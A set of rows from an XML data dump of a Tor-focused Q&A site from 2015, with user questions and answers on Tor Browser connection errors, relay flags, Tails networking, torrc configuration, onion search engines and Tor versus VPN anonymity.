  <row Id="8931" PostTypeId="1" CreationDate="2015-10-31T06:06:55.327" Score="1" ViewCount="972" Body="&lt;p&gt;When I hit connect it gives me this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10/29/2015 1:56:06 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;10/29/2015 1:56:07 AM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;10/29/2015 1:56:14 AM.600 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;10/29/2015 1:56:14 AM.600 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;10/29/2015 1:56:56 AM.700 [WARN] Proxy Client: unable to connect to 104.131.108.182:56880 (&quot;general SOCKS server failure&quot;) &#xA;10/29/2015 1:56:57 AM.000 [WARN] Proxy Client: unable to connect to 83.212.101.3:41213 (&quot;general SOCKS server failure&quot;) &#xA;10/29/2015 1:56:57 AM.000 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;10/29/2015 1:56:57 AM.500 [NOTICE] Delaying directory fetches: No running bridges &#xA;10/29/2015 1:57:14 AM.700 [WARN] Proxy Client: unable to connect to 178.209.52.110:443 (&quot;general SOCKS server failure&quot;) &#xA;10/29/2015 2:05:53 AM.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;10/29/2015 2:05:53 AM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;10/29/2015 2:05:53 AM.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9770" LastEditorUserId="435" LastEditDate="2015-12-10T19:41:53.597" LastActivityDate="2016-04-08T21:17:49.127" Title="Tor won't connect" Tags="|help|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-04-29T17:34:43.540" ContentLicense="CC BY-SA 3.0" />
  <row Id="8932" PostTypeId="2" ParentId="7318" CreationDate="2015-11-01T09:12:37.080" Score="0" Body="&lt;p&gt;I found a solution; a weird one though!&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Option-Drag the TorBrowser application from the Application folder to the Desktop.&lt;/li&gt;&#xA;&lt;li&gt;Remove the TorBrowser application from the Application folder&lt;/li&gt;&#xA;&lt;li&gt;Option-Drag the TorBrowser application from the desktop back to the Application folder&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Don't know why it worked but, for me, it did!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: I actually duplicated the TorBrowser application inside the Application folder before option-dragging the copy to the desktop.  I then renamed it back to it's original name and then, after deleting both applications (original and copy) in the Applications folder, I dragged it back.  I don't think these extra steps are required though.)&lt;/p&gt;&#xA;" OwnerUserId="9776" LastEditorUserId="88" LastEditDate="2015-11-02T12:39:55.833" LastActivityDate="2015-11-02T12:39:55.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8933" PostTypeId="2" ParentId="8900" CreationDate="2015-11-01T17:17:32.990" Score="2" Body="&lt;p&gt;A restart does not cause a relay to lose its Guard and HSDir flags. However, a restart that takes way too long, or frequent restarts (more than one per week, say) can cause a relay to lose its stable flag, which will then cause it to lose its Guard and HSDir flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: OS updates typically do not require restarting. Typically kernel updates are the only kind that require restarting, and those happen on the order of once or twice per month if you are running the unstable form of your distribution.&lt;/p&gt;&#xA;" OwnerUserId="1172" LastActivityDate="2015-11-01T17:17:32.990" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8934" PostTypeId="1" CreationDate="2015-11-02T04:37:59.747" Score="2" ViewCount="1542" Body="&lt;p&gt;I want to run some exit nodes to give back to the community. Are there any lists of VPS providers in U.S. or Europe who allow anonymous VPS purchase, preferably through cryptocurrency, who also allow exit nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since exit nodes seem to be the scarcest resource on the network, I would expect to find enthusiastic support for people asking how to set up exit nodes anonymously.&lt;/p&gt;&#xA;" OwnerUserId="9781" LastEditorUserId="71" LastEditDate="2015-11-05T15:22:10.717" LastActivityDate="2015-11-05T15:24:03.623" Title="Anonymous VPS Permitting Exit Nodes?" Tags="|exit-relays|vps|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8935" PostTypeId="2" ParentId="8876" CreationDate="2015-11-02T15:28:12.107" Score="1" Body="&lt;p&gt;I believe you are missing the &quot;-&quot; between tor and browser it should look like,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sudo proxychains tor-browser&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sudo proxychains /usr/local/bin/tor-browser&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9789" LastEditorUserId="350" LastEditDate="2015-11-02T17:08:21.400" LastActivityDate="2015-11-02T17:08:21.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8936" PostTypeId="2" ParentId="8881" CreationDate="2015-11-02T17:48:24.410" Score="0" Body="&lt;p&gt;I had the same issues with openmailbox.org.&#xA;When I changed the SMTP Auth from AUTOMATIC to LOGIN it worked.&lt;/p&gt;&#xA;" OwnerUserId="9778" LastActivityDate="2015-11-02T17:48:24.410" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8940" PostTypeId="2" ParentId="1188" CreationDate="2015-11-03T05:20:00.440" Score="0" Body="&lt;p&gt;Mine also said that I wasn't using Tor, what you have to do is go to the settings on orbot which allows you to choose which apps to run through Tor and select Orweb&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I Hope you find this useful :-) &lt;/p&gt;&#xA;" OwnerUserId="9795" LastActivityDate="2015-11-03T05:20:00.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8941" PostTypeId="2" ParentId="8668" CreationDate="2015-11-03T12:53:57.063" Score="0" Body="&lt;p&gt;It looks like your ISP might be blocking Tor, using DPI (&lt;em&gt;Deep Packet Inspection&lt;/em&gt;). Try using Pluggable Transports. You can download it here: &lt;a href=&quot;https://www.torproject.org/docs/pluggable-transports.html.en#download&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/pluggable-transports.html.en#download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a great tutorial on how to set it up: &lt;a href=&quot;https://fteproxy.org/help-client-with-tor&quot; rel=&quot;nofollow&quot;&gt;https://fteproxy.org/help-client-with-tor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note: You need to download Pluggable Transports, only if you, for some&#xA;  reasons, are using older versions of TOR. In the latest bundles its&#xA;  already inside.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9789" LastEditorUserId="435" LastEditDate="2015-12-10T19:41:36.620" LastActivityDate="2015-12-10T19:41:36.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8944" PostTypeId="1" CreationDate="2015-11-03T19:08:55.110" Score="3" ViewCount="2248" Body="&lt;p&gt;I'm running Tails OS with USB stick. I've BCM43227 WiFi card therefore I'm unable to use WiFi with Tails. The option is to use my cellphone's USB internet connection while it's connecting through 3G. Is it safe? I mean, Android devices have some more identifiers like SIM id, IMEI...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to setup wl module within Tails, but I really can't figure out a way to do it (&lt;a href=&quot;https://tails.boum.org/support/known_issues/#index20h2&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; might help).&lt;/p&gt;&#xA;" OwnerUserId="9803" LastActivityDate="2022-09-21T22:51:31.507" Title="Is it safe to use Tails with 3g connection via Android USB?" Tags="|tails|android|mobile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8947" PostTypeId="1" CreationDate="2015-11-04T10:04:31.057" Score="2" ViewCount="75" Body="&lt;p&gt;Some websites completely block Tor (for example, &lt;a href=&quot;http://www.yelp.com/&quot; rel=&quot;nofollow&quot;&gt;Yelp&lt;/a&gt; gives a 503), while some allow me to browse, but not use more advanced functionality (Wikipedia allows me to read content but not edit it, for obvious reasons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to obtain a list of websites that block Tor. To this end, I've written two scripts in Python using the &lt;a href=&quot;http://docs.python-requests.org/en/latest/&quot; rel=&quot;nofollow&quot;&gt;requests&lt;/a&gt; module which can query a url and interact with it. I'd like some help- what parameters can I look for while trying to categorize these websites? HTTP Status Codes might not be well suited (as already demonstrated by the example), so I would like to consider a few more things here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, advice or suggestion is appreciated. Thanks. &lt;/p&gt;&#xA;" OwnerUserId="9808" LastActivityDate="2016-01-06T00:48:27.797" Title="How can I check for a website's behavior towards Tor, compared to its normal behavior?" Tags="|censorship|blocked-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8948" PostTypeId="2" ParentId="774" CreationDate="2015-11-04T11:48:11.650" Score="5" Body="&lt;p&gt;These are search engines that index .onion sites:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://xmh57jrzrnw6insl.onion/&quot; rel=&quot;noreferrer&quot;&gt;Torch&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://hss3uro2hsxfogfq.onion/&quot; rel=&quot;noreferrer&quot;&gt;not Evil&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gjobqjj7wyczbqie.onion/&quot; rel=&quot;noreferrer&quot;&gt;Candle&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ahmia.fi/search/&quot; rel=&quot;noreferrer&quot;&gt;ahmia.fi&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-04T11:48:11.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8949" PostTypeId="2" ParentId="8947" CreationDate="2015-11-04T12:10:06.510" Score="0" Body="&lt;p&gt;I don't think there is a generic way to test whether a web site will 'let you do everything'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than the HTTP response code, you can check that the Content-Location is the same, and that the Content-Length header is roughly the same. You might do some heuristics on the content itself to recognise captcha's. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, to begin with, you would need a list of sites to test.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-04T12:10:06.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8950" PostTypeId="2" ParentId="8900" CreationDate="2015-11-04T20:33:14.170" Score="1" Body="&lt;p&gt;This is just a guess:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you restart a relay, chances are you're going to restart it again soon. Once it's been up for a day or two, you'll probably leave it running.&lt;br&gt;&#xA;I have no research to back this up but it seems likely that statistically, restarts come in bunches, rather than being distributed evenly over time.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-04T20:33:14.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8951" PostTypeId="2" ParentId="8944" CreationDate="2015-11-04T20:44:29.223" Score="1" Body="&lt;p&gt;It is equally (un)safe as using your wired home internet connection.&lt;br&gt;&#xA;Both are registered to you and the respective providers can see your data, which is encrypted.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your IMEI and SIM are only used to connect to the cellular network. Not for IP streams over this connection. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-04T20:44:29.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8953" PostTypeId="2" ParentId="8868" CreationDate="2015-11-04T22:52:10.697" Score="6" Body="&lt;p&gt;I have not used or tested it myself, but there are .onion sites that use web sockets, and there is no reason why it should work any different than with a normal, non-hidden site. Your web server must support it tho and clients must enable javascript.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be useful as an example: &lt;a href=&quot;http://chattorci7bcgygp.onion/&quot; rel=&quot;noreferrer&quot;&gt;http://chattorci7bcgygp.onion/&lt;/a&gt;&lt;br&gt;&#xA;With javascript disabled, it says: &lt;em&gt;Unfortunately, you must enable JavaScript to use this website becuase&lt;/em&gt; [sic] &lt;em&gt;we use web sockets. You can review our only JavaScript file _here_ if you have any concerns.&lt;/em&gt; (Click the 'here' link to look at the javascript.)&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-04T22:52:10.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8954" PostTypeId="1" AcceptedAnswerId="8958" CreationDate="2015-11-05T08:56:28.967" Score="7" ViewCount="7920" Body="&lt;p&gt;I recently decided to pay for CryptoStorm anonymous VPN as an extra layer to my privacy protection - so that all requests including UDP requests are automatically masked. As I understand it, all traffic through the VPN is routed through the Tor network as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I don't think it's necessary for me to be additionally running Tor locally (correct me if I'm misunderstanding something here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would still like to use the Tor browser, as it takes care of many other security concerns - like protection from WebRTC detection and other JavaScript-based vulnerabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to run the Tor browser without proxying through Tor? I tried setting &quot;No proxy&quot; in the network settings, but it just says &quot;Unable to find the proxy server&quot; - suggesting the browser is hard-wired to run through the Tor proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if it isn't possible to connect directly with TBB, is there another browser (probably another fork of Firefox) which would cover all the same client-side security concerns?&lt;/p&gt;&#xA;" OwnerUserId="9811" LastActivityDate="2019-09-14T04:11:48.630" Title="Connect directly with Tor Browser (as in, bypass Tor)?" Tags="|tor-browser-bundle|firefox|vpn|proxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8955" PostTypeId="1" CreationDate="2015-11-05T11:08:44.377" Score="1" ViewCount="193" Body="&lt;p&gt;When I try to open any kind of page in the Tor Browser, the page will load forever and be white all the time. This started to happen out of nowhere some day. I have already reinstalled Tor. Has this happened to anyone else?&lt;/p&gt;&#xA;" OwnerUserId="9812" LastEditorUserId="350" LastEditDate="2015-11-05T17:03:15.620" LastActivityDate="2015-11-05T17:03:15.620" Title="Can't open any pages in Tor" Tags="|tor-browser-bundle|windows|help|" AnswerCount="0" CommentCount="1" ClosedDate="2016-10-14T22:55:42.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="8956" PostTypeId="1" AcceptedAnswerId="11922" CreationDate="2015-11-05T15:20:24.967" Score="5" ViewCount="2720" Body="&lt;p&gt;I'm wondering what would be the case to use Orbot-tethering?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I'm using Tails or Whonix, I will use the normal network-connection and internet provider (maybe via Android-tethering) and I'm fine!&lt;br&gt;&#xA;--&gt; In this case Orbot-tethering will be useless; it makes my connection even slower and doubles the load of the Tor-network... (or not?)&lt;/li&gt;&#xA;&lt;li&gt;Also if I'm using my daily OS with Tor Browser Bundle, will it be the same case as above?&lt;/li&gt;&#xA;&lt;li&gt;Maybe Orbot-tethering will be useful for someone who has no freedom to choose his OS or browser, but in this case I doubt he has the choice of his network/internet connection.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So when will/should Orbot-tethering be used?&lt;/strong&gt;&lt;br&gt;&#xA;Are my cases/thoughts wrong? - &lt;strong&gt;Will Orbot-tethering add some &quot;extra-security&quot; in some cases?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2016-02-24T11:10:43.380" LastActivityDate="2019-09-01T11:32:06.107" Title="Is there a &quot;reason&quot; for Orbot-tethering?" Tags="|tor-browser-bundle|tails|orbot|whonix|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8957" PostTypeId="2" ParentId="8934" CreationDate="2015-11-05T15:24:03.623" Score="2" Body="&lt;p&gt;This is a good list of the information you are looking for: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/GoodBadISPs&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/GoodBadISPs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9509" LastActivityDate="2015-11-05T15:24:03.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8958" PostTypeId="2" ParentId="8954" CreationDate="2015-11-05T18:11:09.740" Score="4" Body="&lt;p&gt;You have to disable Torbutton.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of the connection settings dialog, it indicates this: &quot;Disable Torbutton to change these settings.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;about:addons&lt;/code&gt; you can disable &lt;em&gt;Torbutton&lt;/em&gt; and &lt;em&gt;TorLauncher&lt;/em&gt; and then quit/relaunch the browser. Then you can set your own proxy settings or none in the network connection settings.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit to add:&lt;/strong&gt; If you don't use a proxy, you must also disable &lt;code&gt;Remote DNS&lt;/code&gt; in network connection settings. Even thought it is greyed out when &lt;code&gt;No Proxy&lt;/code&gt; is selected, it must be unchecked.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit: Better and more complete instructions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Type in &lt;code&gt;about:addons&lt;/code&gt; in the URL bar.    &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In that page, disable &lt;strong&gt;Torbutton&lt;/strong&gt; and &lt;strong&gt;TorLauncher&lt;/strong&gt; add-ons.    &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Restart the browser as prompted.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on &lt;strong&gt;Menu&lt;/strong&gt; (3 horizontal bars logo located at top-left) &gt; &lt;strong&gt;Preferences&lt;/strong&gt;/&lt;strong&gt;Options&lt;/strong&gt; &gt;&#xA;&lt;strong&gt;Advance vertical tab&lt;/strong&gt; &gt; &lt;strong&gt;Network horizontal tab&lt;/strong&gt;.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the &lt;strong&gt;Settings&lt;/strong&gt; button on the right of &quot;Connection&quot;&#xA;label (while you are in that tab) which opens up the proxy configuration window.    &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Untick &lt;strong&gt;Remote DNS&lt;/strong&gt; checkbox (At center-right of the window).  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change your proxy settings accordingly to your own proxy or to no proxy&#xA;and click OK.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Congratulations have de-torified the Tor browser!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="350" LastEditorUserId="13768" LastEditDate="2016-09-13T09:53:52.440" LastActivityDate="2016-09-13T09:53:52.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8959" PostTypeId="2" ParentId="8907" CreationDate="2015-11-05T22:51:30.220" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;the exact location of my home was pointed out.&lt;br&gt;&#xA;  ..&lt;br&gt;&#xA;  I am keen to know how this transfer has happened.&lt;br&gt;&#xA;  ..&lt;br&gt;&#xA;  mobile Wifi hotspot leaks its location to Firefox on laptop&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you regularly use your phone as a mobile hotspot in the same place (like your home) that network gets associated with that location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chances are that if you go somewhere else (maybe somewhere with no other wifi networks around?) and you use your phone as a hotspot, it will still point at your home.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively it could just be from other wifi networks in range than your phone, but there is no transfer or leakage from your phone to your laptop. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-05T22:51:30.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8960" PostTypeId="1" CreationDate="2015-11-05T23:49:36.467" Score="1" ViewCount="3733" Body="&lt;p&gt;I try to set up a local redirection through tor as described here: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My system is Ubuntu 15.04. Fresh Tor installation works fine. However, when I add 'DNSPort 53' line to torrc, Tor Browser refuses to launch and quits with an error 'Tor unexpectedly exited. This might be due to a bug in Tor itself...'. What could be the possible cause of this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;torrc looks as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&#xA;VirtualAddrNetworkIPv4 10.192.0.0/10&#xA;AutomapHostsOnResolve 1&#xA;TransPort 9040&#xA;DNSPort 53&#xA;&#xA;&#xA;DataDirectory /home/bart/Desktop/tor-browser_en-US/Browser/TorBrowser/Data/Tor&#xA;GeoIPFile /home/bart/Desktop/tor-browser_en-US/Browser/TorBrowser/Data/Tor/geoip&#xA;GeoIPv6File /home/bart/Desktop/tor-browser_en-US/Browser/TorBrowser/Data/Tor/geoip6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, start-tor-browser -v gives the following result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./start-tor-browser -v&#xA;&#xA;(process:3177): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failed&#xA;Nov 07 11:18:23.001 [notice] Tor v0.2.6.10 (git-cab52fe998909e08) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.1p and Zlib 1.2.8.&#xA;Nov 07 11:18:23.001 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Nov 07 11:18:23.001 [notice] Read configuration file &quot;/home/bart/Desktop/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc-defaults&quot;.&#xA;Nov 07 11:18:23.001 [notice] Read configuration file &quot;/home/bart/Desktop/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc&quot;.&#xA;Nov 07 11:18:23.004 [notice] Opening Socks listener on 127.0.0.1:9150&#xA;Nov 07 11:18:23.004 [notice] Opening DNS listener on 127.0.0.1:53&#xA;Nov 07 11:18:23.004 [warn] Could not bind to 127.0.0.1:53: Permission denied&#xA;Nov 07 11:18:23.004 [notice] Opening Transparent pf/netfilter listener on 127.0.0.1:9040&#xA;Nov 07 11:18:23.004 [notice] Opening Control listener on 127.0.0.1:9151&#xA;Nov 07 11:18:23.004 [notice] Closing partially-constructed Socks listener on 127.0.0.1:9150&#xA;Nov 07 11:18:23.004 [notice] Closing partially-constructed Transparent pf/netfilter listener on 127.0.0.1:9040&#xA;Nov 07 11:18:23.004 [notice] Closing partially-constructed Control listener on 127.0.0.1:9151&#xA;Nov 07 11:18:23.004 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Nov 07 11:18:23.004 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9816" LastEditorUserId="88" LastEditDate="2016-10-14T22:48:27.747" LastActivityDate="2016-10-14T22:52:42.063" Title="torrc DNSPort 53 - Tor browser will not start / Ubuntu 15" Tags="|configuration|ubuntu|dns|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8962" PostTypeId="1" CreationDate="2015-11-06T09:29:12.440" Score="0" ViewCount="3606" Body="&lt;p&gt;Earlier today I had attempted to download tails but the signing key seems to not register an import key or PGP Keys. I am running windows 10 and have downloaded the tails iso. &lt;strong&gt;The problem is when attempting to open the signing key it does not automatically prompt me to use Import Key and is a key file instead of PGP Keys.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9823" LastActivityDate="2015-11-06T09:29:12.440" Title="Having trouble importing tails signing key. Cannot find Import Key (Default)" Tags="|tails|help|onion-routing|error|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8963" PostTypeId="1" CreationDate="2015-11-06T16:21:46.683" Score="1" ViewCount="1692" Body="&lt;p&gt;When I try to ping an external address I always get the same error: &quot;Destination Port Unreachable&quot;, and when pinging domain names I get an &quot;unknown host&quot; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Tails 1.6 and run tor when connected to the internet, also i'm using terminal to ping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could it be?&lt;/p&gt;&#xA;" OwnerUserId="9826" LastActivityDate="2015-11-06T20:56:09.317" Title="Can't ping remote address or domain in Tails" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8965" PostTypeId="2" ParentId="8963" CreationDate="2015-11-06T19:41:31.093" Score="1" Body="&lt;p&gt;The &lt;code&gt;ping&lt;/code&gt; tool uses &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol&quot; rel=&quot;nofollow&quot;&gt;ICMP&lt;/a&gt; packets, which are &lt;strong&gt;not&lt;/strong&gt; supported by Tor, and therefore can't be sent from within Tails. (Tor supports only &lt;a href=&quot;https://en.wikipedia.org/wiki/Transmission_Control_Protocol&quot; rel=&quot;nofollow&quot;&gt;TCP&lt;/a&gt; as its transport layer protocol.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For TCP-based alternatives, you could take a look at &lt;a href=&quot;https://serverfault.com/questions/14376/ping-alternative-for-tcp&quot;&gt;this&lt;/a&gt; thread. Note that to install any &lt;a href=&quot;https://tails.boum.org/doc/advanced_topics/additional_software/index.en.html&quot; rel=&quot;nofollow&quot;&gt;additional software&lt;/a&gt; on Tails, you'd first need to ensure that an &lt;a href=&quot;https://tails.boum.org/doc/first_steps/startup_options/administration_password/index.en.html&quot; rel=&quot;nofollow&quot;&gt;admin account&lt;/a&gt; has been created.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2015-11-06T20:56:09.317" LastActivityDate="2015-11-06T20:56:09.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8966" PostTypeId="1" AcceptedAnswerId="8967" CreationDate="2015-11-06T20:25:09.617" Score="2" ViewCount="422" Body="&lt;p&gt;Theoretically, which would be capable of providing the highest level of anonymity, Tor or a VPN?&lt;/p&gt;&#xA;" OwnerUserId="9638" LastActivityDate="2015-11-17T11:49:34.570" Title="Which would be more secure a VPN or Tor?" Tags="|tor-browser-bundle|vpn|openvpn|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8967" PostTypeId="2" ParentId="8966" CreationDate="2015-11-06T20:50:12.340" Score="6" Body="&lt;p&gt;Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you can somehow prevent your VPN provider from knowing who you are or what your IP address is, there will always be the possibility of your anonymity being compromised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could conceivably sign up to a service under a pseudonym, pay for the service using a bitcurrency that you had sourced anonymously, and ensure every time you connected to the VPN it was in no way traceable to an IP address associated with you. But given the other things you'd also have to consider - your online behaviour, locking down certain aspects of your machine, etc. - the hassle of this, and the risks of making mistakes, then makes VPN an increasingly unappealing choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#IsTorLikeAVPN&quot;&gt;Tor FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;VPNs have a single point of failure: the VPN provider. A technically&#xA;  proficient attacker or a number of employees could retrieve the full&#xA;  identity information associated with a VPN user.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Using both a VPN and Tor &lt;em&gt;together&lt;/em&gt; is another consideration, which has been discussed in plenty of &lt;a href=&quot;https://tor.stackexchange.com/questions/1067/tor-vpn-or-vpn-tor?rq=1&quot;&gt;other questions&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-11-06T20:50:12.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
